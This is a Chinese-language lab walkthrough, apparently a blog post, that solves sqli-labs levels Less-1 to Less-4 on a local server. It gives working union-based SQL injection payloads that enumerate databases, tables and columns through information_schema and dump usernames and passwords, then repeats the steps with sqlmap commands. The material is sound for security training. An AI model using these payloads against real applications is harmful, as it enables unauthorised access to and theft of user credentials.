文章目录
1. Less-1
这道题考察的是Single quotes
(单引号)
首先我们进入sqli根目录,打开Less-1页面。
页面提示然我们输入一个id作为参数。
在这里我们输入了?id=1
作为url的参数,然后我们通过改变不同的参数,后台会返回给我们不同的Login name
和Password
。
通过以上测试,我们大概可以猜出,后台所返回的数据是由我们输入的id
决定的。而这个id
就是我们和sql语句
进行交互的接口。我们需要通过这个接口,来得到这个数据库的数据。
1.1 判断id类型
在进行注入之前,我们首先要判断出网站后台id
的接受形式(字符串,int等等)
由于这道题目的名字就是GET-Error-based-Single quotes
获取基于单引号的错误。
首先我们输入一个?id=1'
来验证一下我们的想法:
可以看到页面给出了报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
其中'1'' LIMIT 0,1
为出错的语句(外面的两个单引号是包裹这个短句的,不是sql语句中的,因此忽略掉),然后我们去掉我们输入的1'
就能看到''LIMIT 0,1
为网站的原生sql语句。那也就是说明网站的id类型为单引号包裹的字符型。
那么我们首先猜测网站的sql
语句为:
SELECT xxx FROM xxx WHERE id='';
因此我们需要闭合这个id,然后插入我们的payload
。
这里我是用的语句, 首先用and 1=1 --+
进行测试,看页面能否返回正常的结果,然后使用and 1=2 --+
。一个true一个false,页面应该会有不同的响应,当页面返回了不同的响应,那么就说明我们对于id类型的判断是正确的。然后就可以进行后续的操作了。
1.2 判断检索字段个数
在进行下一步的爆破时,我们首先要知道网站使用的sql语句中检索字段的个数。我们使用order by
来进行判断。
我们输入?id=1' order by num --+
然后查看网站的响应,如果正常就继续增大num的数值。我们发现当num到4时,网页给出了错误信息。
意思是我们要这个检索语句根据第四个字段排序,而该检索语句没有第4个字段,因此报错。与此同时,我们就能知道网站使用的sql语句的检索字段是3个,也就是SELECT xxx,xxx,xxx FROM xxx WHERE id='';
得知检索字段以后就可以进行下一步的操作了。
1.3 获取数据库信息
1.3.1 查询网站使用的数据库名
根据上面的内容,我们得知了网站id的类型以及检索字段,下面我们构造payload然后使用union将payload插入到网站sql中。
1' and 1=2 union select 1, version(), database(); --+
将这条语句插入到url中,就能得到如下界面:
到此为止,我们就知道,此网站使用的数据库版本是5.7.18-log
,使用的数据库名称为security
1.3.2 爆破数据表
在拿到了网站所使用的数据库后,我们可以通过进一步的查询获知该数据库下的数据表和字段值。
我们使用如下语句获知security
数据下所有的数据表。(关于为什么要使用这个语句,我会写在最后)
1' and 1=2 union select 1, (select group_concat(table_name) from information_schema.tables WHERE table_schema='security'), 3 --+
我们看一下结果:
现在我们知道security
数据库下有4张数据表:emails
, referers
, uagents
, users
根据猜测,我们应该知道所有的用户信息应该在users
表中。那么下面,我们就查这张表的水表~~
首先我们要知道这张表都有什么字段?
1' and 1=2 union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --+
插入上面的语句,可以得到:
因此我们就知道网站中security
数据下users
表中的三个字段为id
, username
, password
在拿到这个表中字段后,查他的水表是不是就很容易了~~
?id=1' and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
可以看到,用户信息统统都给你爆到页面上了(什么用户隐私?都是骗人的!)
1.3.2 以上使用sql语句的介绍
在上面,我们使用了一些比较莫名其妙的sql语句,可能有些人没有科普过这方面的数据库知识所以就不明白为什么,我在这里讲解一下:
首先罗列出上面使用的sql语句。
1' and 1=2 union select 1, (select group_concat(table_name) from information_schema.tables WHERE table_schema='security'), 3 --+
1' and 1=2 union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),3 --+
在这里,使用了information.tables
和information_schema.columns
这两张表。
我们来介绍一下:
在mysql中,为了便于对数据库的管理,你会发现在mysql中有一个自带的数据库information_shcema
,这里面有很多的数据表。而其中有3张记录了你这个DBMS管理的所有的数据库名,表明,字段名。
-
schemata 表
schemata
表中有一个schema_name
字段,存储了当前DBMS所管理的所有数据库的名字。我们可以通过查询这个表,获知你所有的数据库名。 -
tables 表
tables
中的table_schema
和table_name
字段,分别记录了数据库名称和该数据库下数据表的名称。 -
columns 表
columns
中的table_schema
,table_name
,column_name
字段,分别记录了数据库名,数据库下数据表的名,数据表下字段的名称。
因此,我们通过这3张表就能知道你DBMS下管理的所有数据库的名字,以及每一个数据库下有多少表,表中都有什么字段。
2. Less-2
Less-2和Less-1的操作过程几乎完全一样,感兴趣的小伙伴可以自己试一下。看能不能把他的users
表摔在页面上!
提示:
Less-2和Less-1唯一的区别就是id类型不同了,Less-2的id是一个int类型。因此这里的sql语句可能就是SELECT xxx FROM xxx WHERE id=1;
然后套用上面的语句就行了,具体过程不在给出,直接给出最后查水表的语句吧!
?id=1 and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
3. Less-3
Less-4和Less-1也是基本雷同,仅仅id类型不同:
SELECT xxx FROM xxx WHERE id=('1');
这里的id是用单引号+括号包裹的。因此我们在闭合的时候要注意,直接给出最后查水表的语句:
?id=1') and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
注意:
有时候可能我们输入了正确的注入语句,但是页面没有给出正确的响应,问题的原因我也不清楚,但是你再重置一下这个sqli的数据库能够解决大部分的问题。
4. Less-4
在Less-4中,我们先输入?id=1'
发现没有错误信息显示,别急,再试一下?id=1"
,就有了。
根据报错信息,我们就能够知道这个id使用双引号+括号包裹的。
SELECT XXX FROM XXXX WHERE id=("1");
其他步骤和Less-1一致。
最后给出查水表语句:
?id=1") and 1=2 union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+
5. SQLmap通关
SQLmap是一个SQL注入的工具。熟练的掌握SQLmap的用法,也是提升我们注入能力的一个方向。
这里拿Less1来试刀。
获取当前的数据库名称:
sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch --current-db
其中---batch
就是采用默认选项进行注入。--current-db
表示查询当前使用的数据库的名称。
查数据表
sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch -D security --tables
-D
为指定被查询的数据库,--tables
表示查询数据表的名称。
查列名
sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch -D security -T users --columns
-T
为指定被查询的数据表。--columns
表示查询所有的列名。
查询值
sqlmap.py -u http://127.0.0.1:7788/sqli/Less-1/?id=1 --batch -D security -T users --dump